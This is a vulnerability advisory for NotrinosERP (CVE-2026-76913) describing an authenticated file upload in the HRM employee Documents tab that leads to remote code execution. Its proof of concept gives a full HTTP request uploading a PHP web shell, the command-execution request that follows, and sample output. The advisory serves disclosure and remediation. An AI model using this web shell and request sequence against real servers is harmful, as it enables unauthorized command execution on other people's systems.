notrinos/notrinos-erp
Affected
- introduced
0, fixed1.1.0(ecosystem)
Fixed versions
1.1.0
Fix
The export has no generic command for this ecosystem.
Advisory
Also known as: CVE-2026-76913
NotrinosERP: Authenticated arbitrary file upload leads to remote code execution via HRM employee "Documents" (doc_file)
Summary
An authenticated user with the HR "Manage Employees" permission (SA_EMPLOYEE) can upload a
file with an arbitrary extension through the employee Documents tab. The handler writes the
raw client-supplied filename — extension intact — into a web-served directory with no extension,
MIME, or content validation, so a .php file is stored under the web root and executes as code,
yielding remote code execution on the server.
Details
The document-upload branch in hrm/manage/employees.php (function tab_documents()) moves the
uploaded file using the client filename verbatim:
// hrm/manage/employees.php -> tab_documents() (HEAD lines 597-602; release 1.0.0 lines 568-573)
$upload_dir = company_path().'/documents/employees';
if (!file_exists($upload_dir))
mkdir($upload_dir, 0777, true);
$file_path = $upload_dir.'/'.$employee_id.'_'.time().'_'.$_FILES['doc_file']['name'];
if (!move_uploaded_file($_FILES['doc_file']['tmp_name'], $file_path)) { ... }
There is no extension allow-list, getimagesize(), MIME check, or content inspection on this
path. Contrast this with the profile-photo (pic) upload in the *same file*, which validates image
type/extension/size, and with core includes/ui/attachment.inc, which deliberately generates a
random extension-less name (uniqid()) with a comment warning that client filenames must never be
trusted. The document handler ignores that established safe pattern.
Reachability of the written file:
company_path() resolves under the web root; config.default.php sets $comp_path = $path_to_root.'/company', so uploads land in company/0/documents/employees/..htaccess in the project is the repo-root one, which denies .inc/.po/.sh/.pem/.sql/.log only — it does not block .php and does not cover company/.hrm/includes/ui/employee_ui.inc lines 153-154 — file_path concatenated straight into href), handing the attacker the exact URL of the shell (and creating a secondary stored-XSS sink, CWE-79).A crafted multipart filename containing ../ additionally enables path traversal (CWE-22) on PHP
builds that do not basename ['name'].
Proof of Concept
The upload is gated by authentication and CSRF, but neither gates the file itself.
Prerequisites: an authenticated session with SA_EMPLOYEE; an existing employee (employee_no);
a valid doc_type_id; and the session CSRF token. The CSRF field is `_token` (validated bycheck_csrf_token() against $_SESSION['csrf_token']), so first GET the Documents form to read the
hidden _token, then submit. Against your own local instance:
POST /hrm/manage/employees.php?employee_no=1&_tabs_sel=tab_documents HTTP/1.1
Host: <your-local-instance>
Cookie: <authenticated session>
Content-Type: multipart/form-data; boundary=b
--b
Content-Disposition: form-data; name="_token"
<value of the hidden _token field from the GET response>
--b
Content-Disposition: form-data; name="doc_type_id"
<a valid document type id>
--b
Content-Disposition: form-data; name="doc_name"
x
--b
Content-Disposition: form-data; name="doc_file"; filename="shell.php"
Content-Type: application/x-php
<?php system($_GET['c']); ?>
--b
Content-Disposition: form-data; name="save_document"
Save Document
--b--
Then request the stored file (its exact path is shown in the Documents tab's "View" link):
GET /company/0/documents/employees/1_<unix_ts>_shell.php?c=id HTTP/1.1
The command in c executes on the server.
Validation (performed locally, no network)
The code-execution mechanism was confirmed on a local host (PHP 8.5). A harness running the
handler's verbatim path/move logic wrote company/0/documents/employees/1_<ts>_shell.php
(attacker-chosen .php extension, no validation applied), and requesting it through a PHP web
server rooted at the app directory executed the payload:
$ curl '.../company/0/documents/employees/1_1783671979_shell.php?c=id'
uid=501(...) gid=20(staff) ...
$ curl '.../<same>.php?c=uname%20-sm;whoami'
Darwin arm64
<user>
Caveats: (1) the harness used copy() in place of move_uploaded_file() because a CLI process has
no real multipart temp file — the client-filename handling and the absence of any validation are
identical to production (poc/rce_demo.php); (2) PHP's built-in server executes the file by path,
and a standard Apache/mod_php or Nginx+PHP-FPM deployment behaves the same, because the repo-root.htaccess does not block .php and does not cover company/. The full HTTP flow additionally
requires the auth + _token + doc_type_id prerequisites above, none of which inspect the file.
Impact
Remote code execution on the hosting server by any authenticated operator holding the delegableSA_EMPLOYEE role (not necessarily an administrator). If a deployment grants SA_EMPLOYEE only to
administrators, treat privileges-required as High (CVSS ≈ 7.2).
Suggested fix
includes/ui/attachment.inc's uniqid() approach); keep the original name only as a DB label.pic branch already does..htaccess/web.config in company/*/documents/ that disables script execution (php_admin_flag engine off, RemoveHandler .php, SetHandler none).htmlspecialchars() the stored path before emitting the "View" link (fixes the secondary XSS).References / credit
hrm/manage/employees.php, hrm/includes/db/employee_document_db.inc, hrm/includes/ui/employee_ui.inc.High Basis: The source's own band: HIGH
0, fixed 1.1.0 (ecosystem)1.1.0
The export has no generic command for this ecosystem.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0